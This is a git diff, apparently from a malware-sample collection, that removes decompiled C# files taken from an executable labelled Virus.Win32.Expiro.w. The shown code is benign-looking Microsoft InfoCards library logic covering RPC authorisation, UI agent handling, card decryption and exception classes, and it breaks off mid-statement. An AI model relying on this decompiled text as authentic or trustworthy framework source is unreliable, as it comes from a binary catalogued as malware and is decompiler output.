this.OnMarshalAsyncOutArgs(writer); - } - - protected virtual void OnMarshalAsyncOutArgs(BinaryWriter writer) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UIAgentAsyncParams.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UIAgentAsyncParams.cs deleted file mode 100644 index 08de6b25..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UIAgentAsyncParams.cs +++ /dev/null @@ -1,27 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UIAgentAsyncParams -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.Win32.SafeHandles; - -namespace Microsoft.InfoCards -{ - internal class UIAgentAsyncParams : AsyncParams - { - private UIAgentRequest m_agentRequest; - - public UIAgentAsyncParams( - string opType, - ClientRequest request, - SafeWaitHandle externEvent, - UIAgentRequest agentRequest) - : base(request, opType, externEvent) - { - this.m_agentRequest = agentRequest; - } - - public UIAgentRequest AgentRequest => this.m_agentRequest; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UIAgentCrashedException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UIAgentCrashedException.cs deleted file mode 100644 index 60815667..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UIAgentCrashedException.cs +++ /dev/null @@ -1,14 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UIAgentCrashedException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; - -namespace Microsoft.InfoCards -{ - internal class UIAgentCrashedException : Exception - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UIAgentInitializationException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UIAgentInitializationException.cs deleted file mode 100644 index 57a809aa..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UIAgentInitializationException.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UIAgentInitializationException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class UIAgentInitializationException : InfoCardBaseException - { - private const int HRESULT = -1073413862; - - public UIAgentInitializationException() - : base(-1073413862) - { - } - - protected UIAgentInitializationException(SerializationInfo si, StreamingContext sc) - : base(-1073413862, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UIAgentMonitor.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UIAgentMonitor.cs deleted file mode 100644 index b91fe28f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UIAgentMonitor.cs +++ /dev/null @@ -1,76 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UIAgentMonitor -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; - -namespace Microsoft.InfoCards -{ - internal class UIAgentMonitor - { - private static UIAgentMonitor s_singleton = (UIAgentMonitor) null; - private static object s_syncRoot = new object(); - private Dictionary m_currentCallingUsers; - private Dictionary m_currentTSSessions; - - private UIAgentMonitor() - { - this.m_currentCallingUsers = new Dictionary(); - this.m_currentTSSessions = new Dictionary(); - } - - public static UIAgentMonitor Instance() - { - if (UIAgentMonitor.s_singleton == null) - { - lock (UIAgentMonitor.s_syncRoot) - { - if (UIAgentMonitor.s_singleton == null) - UIAgentMonitor.s_singleton = new UIAgentMonitor(); - } - } - return UIAgentMonitor.s_singleton; - } - - public void AddNewClient(UIAgentMonitorHandle handle) - { - lock (UIAgentMonitor.s_syncRoot) - { - string userName = handle.UserName; - int tsSessionId = handle.TsSessionId; - if (this.m_currentCallingUsers.ContainsKey(userName)) - throw InfoCardTrace.ThrowHelperError((Exception) new ServiceBusyException(SR.GetString("ServiceInUseOnAnotherSession"))); - if (this.m_currentTSSessions.ContainsKey(tsSessionId)) - throw InfoCardTrace.ThrowHelperError((Exception) new ServiceBusyException(SR.GetString("ServiceInUseOnAnotherSession"))); - this.m_currentCallingUsers.Add(userName, handle); - try - { - this.m_currentTSSessions.Add(tsSessionId, handle); - } - catch (Exception ex) - { - this.m_currentCallingUsers.Remove(userName); - throw; - } - } - } - - public void RemoveClient(UIAgentMonitorHandle handle) - { - lock (UIAgentMonitor.s_syncRoot) - { - string userName = handle.UserName; - int tsSessionId = handle.TsSessionId; - if (!string.IsNullOrEmpty(userName) && this.m_currentCallingUsers.ContainsKey(userName) && handle == this.m_currentCallingUsers[userName]) - this.m_currentCallingUsers.Remove(userName); - if (!this.m_currentTSSessions.ContainsKey(tsSessionId) || handle != this.m_currentTSSessions[tsSessionId]) - return; - this.m_currentTSSessions.Remove(tsSessionId); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UIAgentMonitorHandle.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UIAgentMonitorHandle.cs deleted file mode 100644 index d00eff6e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UIAgentMonitorHandle.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UIAgentMonitorHandle -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class UIAgentMonitorHandle : IDisposable - { - private InfoCardUIAgent m_agent; - private string m_username; - private int m_tsSessionId; - - public string UserName => this.m_username; - - public int TsSessionId => this.m_tsSessionId; - - public InfoCardUIAgent CreateAgent( - int callerPid, - WindowsIdentity callerIdentity, - int tsSessionId) - { - this.m_username = callerIdentity.User.ToString(); - this.m_tsSessionId = tsSessionId; - UIAgentMonitor.Instance().AddNewClient(this); - this.m_agent = InfoCardUIAgent.Create(callerPid, callerIdentity, tsSessionId); - return this.m_agent; - } - - void IDisposable.Dispose() => UIAgentMonitor.Instance().RemoveClient(this); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UIAgentRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UIAgentRequest.cs deleted file mode 100644 index a85d3bd6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UIAgentRequest.cs +++ /dev/null @@ -1,138 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UIAgentRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using Microsoft.Win32.SafeHandles; -using System; -using System.ComponentModel; -using System.IO; -using System.Runtime.InteropServices; -using System.Security; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal abstract class UIAgentRequest : Request - { - private ClientUIRequest m_parentRequest; - - public UIAgentRequest(IntPtr rpcHandle, Stream inArgs, Stream outArgs, ClientUIRequest parent) - : this(rpcHandle, inArgs, outArgs, parent, ExceptionList.Empty) - { - } - - public UIAgentRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent, - ExceptionList exceptionList) - : base(rpcHandle, inArgs, outArgs, exceptionList) - { - this.m_parentRequest = parent; - } - - public ClientUIRequest ParentRequest => this.m_parentRequest; - - protected InfoCardUIAgent UIAgent => this.ParentRequest != null ? this.ParentRequest.UIAgent : (InfoCardUIAgent) null; - - public static uint Authorize(IntPtr rpcIfHandle, IntPtr context) - { - uint num = 5; - if (IntPtr.Zero == rpcIfHandle) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (rpcIfHandle)); - if (IntPtr.Zero == context) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (context)); - try - { - WindowsIdentity windowsIdentity = Utility.GetWindowsIdentity(context); - try - { - NativeMcppMethods.CheckSIDAgainstCurrentRpcUser((InfoCardUIAgent.FindByPid(Utility.GetRpcClientPid(context)) ?? throw InfoCardTrace.ThrowHelperError((Exception) new SecurityException())).TrustedUserSid); - num = 0U; - } - finally - { - windowsIdentity.Dispose(); - } - } - catch (SecurityException ex) - { - InfoCardTrace.Assert(5U == num, "Unexpected value for err!"); - } - catch (Exception ex) - { - InfoCardService.Crash(ex); - } - return num; - } - - public static void BindToService( - IntPtr uiagentRpcHandle, - IntPtr nativeDesktopName, - int cbUserSid, - IntPtr pUserSid, - int cbTrustedSid, - IntPtr pTrustedSid, - out IntPtr nativeStartEventHandle, - out IntPtr nativeCompleteEventHandle, - out RpcUIAgentGetWorkCallback callback) - { - string stringUni = Marshal.PtrToStringUni(nativeDesktopName); - callback = (RpcUIAgentGetWorkCallback) null; - nativeStartEventHandle = IntPtr.Zero; - nativeCompleteEventHandle = IntPtr.Zero; - using (WindowsIdentity windowsIdentity = Utility.GetWindowsIdentity(uiagentRpcHandle)) - { - WindowsImpersonationContext impersonationContext = windowsIdentity.Impersonate(); - try - { - uint pid; - if (NativeMethods.I_RpcBindingInqLocalClientPID(uiagentRpcHandle, out pid) != 0U) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("FailedToBindToService"))); - InfoCardUIAgent byPid = InfoCardUIAgent.FindByPid(pid); - if (byPid == null) - return; - SecurityIdentifier userSid; - SafeWaitHandle hStartEvent; - SafeWaitHandle hCompleteEvent; - callback = byPid.Bind(stringUni, out userSid, out hStartEvent, out hCompleteEvent); - byte[] numArray = new byte[Math.Max(cbUserSid, cbTrustedSid)]; - windowsIdentity.User.GetBinaryForm(numArray, 0); - Marshal.Copy(numArray, 0, pUserSid, cbUserSid); - userSid.GetBinaryForm(numArray, 0); - Marshal.Copy(numArray, 0, pTrustedSid, cbTrustedSid); - nativeStartEventHandle = hStartEvent.DangerousGetHandle(); - nativeCompleteEventHandle = hCompleteEvent.DangerousGetHandle(); - } - finally - { - impersonationContext.Undo(); - } - } - } - - public override WindowsIdentity RequestorIdentity => this.ParentRequest.RequestorIdentity; - - protected override void OnInitializeAsSystem() - { - try - { - NativeMcppMethods.CheckSIDAgainstCurrentRpcUser(this.ParentRequest.UIAgentLogonSid); - } - catch (Win32Exception ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardArgumentException(SR.GetString("UnableToAuthenticateUIAgent"), (Exception) ex)); - } - catch (SecurityException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardArgumentException(SR.GetString("UnableToAuthenticateUIAgent"), (Exception) ex)); - } - } - - protected InfoCardPolicy GetPolicy() => !(this.ParentRequest is GetTokenRequest parentRequest) ? (InfoCardPolicy) null : parentRequest.Policy; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UIEndRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UIEndRequest.cs deleted file mode 100644 index d7997deb..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UIEndRequest.cs +++ /dev/null @@ -1,30 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UIEndRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class UIEndRequest : UIAgentRequest - { - private ClientUIRequest.RequestResult m_result; - - public UIEndRequest(IntPtr rpcHandle, Stream inArgs, Stream outArgs, ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() => this.m_result = (ClientUIRequest.RequestResult) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode).ReadInt32(); - - protected override void OnProcess() => this.UIAgent.SetUIStatus(this.m_result); - - protected override void OnMarshalOutArgs() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UnlockCardRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UnlockCardRequest.cs deleted file mode 100644 index 54b0c7bc..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UnlockCardRequest.cs +++ /dev/null @@ -1,58 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UnlockCardRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Globalization; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class UnlockCardRequest : UIAgentRequest - { - private InfoCard m_card; - - public UnlockCardRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnInitializeAsSystem() => base.OnInitializeAsSystem(); - - protected override void OnMarshalInArgs() => this.m_card = new InfoCard(this.InArgs); - - protected override void OnProcess() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - this.m_card.Connection = connection; - this.m_card.GetMasterKey(connection); - this.m_card.Decrypt(); - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - this.m_card.AgentSerialize(this.OutArgs, this.ParentRequest is GetTokenRequest, this.GetPolicy(), connection, new CultureInfo(this.ParentRequest.UserLanguage)); - } - finally - { - connection.Close(); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UnsupportedPolicyOptionsException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UnsupportedPolicyOptionsException.cs deleted file mode 100644 index 68ad316c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UnsupportedPolicyOptionsException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UnsupportedPolicyOptionsException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class UnsupportedPolicyOptionsException : InfoCardBaseException - { - private const int HRESULT = -1073413866; - - public UnsupportedPolicyOptionsException() - : base(-1073413866) - { - } - - public UnsupportedPolicyOptionsException(string message) - : base(-1073413866, message) - { - } - - public UnsupportedPolicyOptionsException(string message, Exception inner) - : base(-1073413866, message, inner) - { - } - - protected UnsupportedPolicyOptionsException(SerializationInfo si, StreamingContext sc) - : base(-1073413866, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UntrustedRecipientException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UntrustedRecipientException.cs deleted file mode 100644 index 47340936..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UntrustedRecipientException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UntrustedRecipientException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class UntrustedRecipientException : InfoCardBaseException - { - private const int HRESULT = -1073413870; - - public UntrustedRecipientException() - : base(-1073413870) - { - } - - public UntrustedRecipientException(string message) - : base(-1073413870, message) - { - } - - public UntrustedRecipientException(string message, Exception inner) - : base(-1073413870, message, inner) - { - } - - protected UntrustedRecipientException(SerializationInfo si, StreamingContext sc) - : base(-1073413870, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UserNameTokenFactoryCredential.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UserNameTokenFactoryCredential.cs deleted file mode 100644 index d1e84ca2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UserNameTokenFactoryCredential.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UserNameTokenFactoryCredential -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class UserNameTokenFactoryCredential : TokenFactoryCredential - { - private string m_userName; - private string m_password; - - public UserNameTokenFactoryCredential() - : base(TokenFactoryCredentialType.UserNamePasswordCredential) - { - } - - public string UserName => this.m_userName; - - public string Password => this.m_password; - - protected override void DeserializeData(BinaryReader reader) - { - this.m_userName = Utility.DeserializeString(reader); - this.m_password = Utility.DeserializeString(reader); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UserPreference.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UserPreference.cs deleted file mode 100644 index 213b629c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UserPreference.cs +++ /dev/null @@ -1,93 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UserPreference -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Globalization; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class UserPreference - { - private const byte Version = 1; - private const byte Marker = 29; - private const string Id = "urn:microsoft.com:infocards:user_prefs"; - private const int s_ATApplicationsDisabled = 0; - private int m_ATApplicationsFlags; - private bool m_showClaimsFlag; - - public UserPreference() - { - } - - public UserPreference(Stream stream) => this.Deserialize(stream); - - public void Serialize(Stream stream) - { - BinaryWriter binaryWriter = new BinaryWriter(stream, Encoding.Unicode); - binaryWriter.Write((byte) 1); - binaryWriter.Write(this.m_ATApplicationsFlags); - binaryWriter.Write(this.m_showClaimsFlag); - binaryWriter.Write((byte) 29); - } - - public void Deserialize(Stream stream) - { - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(stream, Encoding.Unicode); - if ((byte) 1 != binaryReader.ReadByte()) - InfoCardTrace.Assert(false, "Incorrect version found in stream deserialization"); - this.m_ATApplicationsFlags = binaryReader.ReadInt32(); - this.m_showClaimsFlag = binaryReader.ReadBoolean(); - if ((byte) 29 == binaryReader.ReadByte()) - return; - InfoCardTrace.Assert(false, "malformed stream detected"); - } - - public void Save(StoreConnection con) - { - DataRow row = con.GetSingleRow(new QueryParameter("ix_objecttype", new object[1] - { - (object) -2 - }), new QueryParameter("ix_globalid", new object[1] - { - (object) GlobalId.DeriveFrom("urn:microsoft.com:infocards:user_prefs") - })); - if (row == null) - { - row = new DataRow(); - row.ObjectType = -2; - row.GlobalId = GlobalId.DeriveFrom("urn:microsoft.com:infocards:user_prefs"); - } - MemoryStream memoryStream = new MemoryStream(); - this.Serialize((Stream) memoryStream); - row.SetDataField(memoryStream.ToArray()); - con.Save(row); - } - - public override string ToString() - { - StringBuilder stringBuilder = new StringBuilder(); - stringBuilder.AppendFormat("Background Color:\t{0}\n", (object) this.m_ATApplicationsFlags.ToString((IFormatProvider) CultureInfo.InvariantCulture)); - stringBuilder.AppendFormat("List expansion flag:\t{0}\n", (object) this.m_showClaimsFlag.ToString()); - return stringBuilder.ToString(); - } - - public static UserPreference Get(StoreConnection con) - { - DataRow singleRow = con.GetSingleRow(new List() - { - new QueryParameter("ix_objecttype", new object[1] - { - (object) -2 - }) - }.ToArray()); - return singleRow != null ? new UserPreference((Stream) new MemoryStream(singleRow.GetDataField())) : (UserPreference) null; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/Utility.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/Utility.cs deleted file mode 100644 index e72987cf..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/Utility.cs +++ /dev/null @@ -1,427 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.Utility -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using Microsoft.Win32.SafeHandles; -using System; -using System.Collections; -using System.Collections.Generic; -using System.ComponentModel; -using System.Diagnostics; -using System.IdentityModel.Tokens; -using System.IO; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security.Cryptography; -using System.Security.Cryptography.X509Certificates; -using System.Security.Principal; -using System.ServiceModel; -using System.ServiceModel.Channels; -using System.ServiceModel.Description; -using System.Text; -using System.Threading; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal static class Utility - { - public static WindowsIdentity GetWindowsIdentity(IntPtr rpcBindingHandle) - { - InfoCardTrace.ThrowInvalidArgumentConditional(IntPtr.Zero == rpcBindingHandle, nameof (rpcBindingHandle)); - uint error = NativeMethods.RpcImpersonateClient(rpcBindingHandle); - if (error != 0U) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("ServiceInvalidCallerToken"), (Exception) new Win32Exception((int) error))); - try - { - return WindowsIdentity.GetCurrent(true); - } - finally - { - InfoCardTrace.Assert(0U == NativeMethods.RpcRevertToSelfEx(rpcBindingHandle), "rpcIdentity"); - } - } - - public static uint GetRpcClientPid(IntPtr rpcBindingHandle) - { - uint pid; - uint error = NativeMethods.I_RpcBindingInqLocalClientPID(rpcBindingHandle, out pid); - if (error != 0U) - throw InfoCardTrace.ThrowHelperError((Exception) new Win32Exception((int) error)); - return pid; - } - - public static void ClearUnsafeMemory(IntPtr ptr, int count) => NativeMethods.ZeroMemory(ptr, count); - - public static void ThrowIfProcessExited(SafeWaitHandle processHandle) - { - using (AutoResetEvent autoResetEvent = new AutoResetEvent(false)) - { - autoResetEvent.SafeWaitHandle = processHandle; - if (autoResetEvent.WaitOne(0, false)) - throw InfoCardTrace.ThrowHelperError((Exception) new 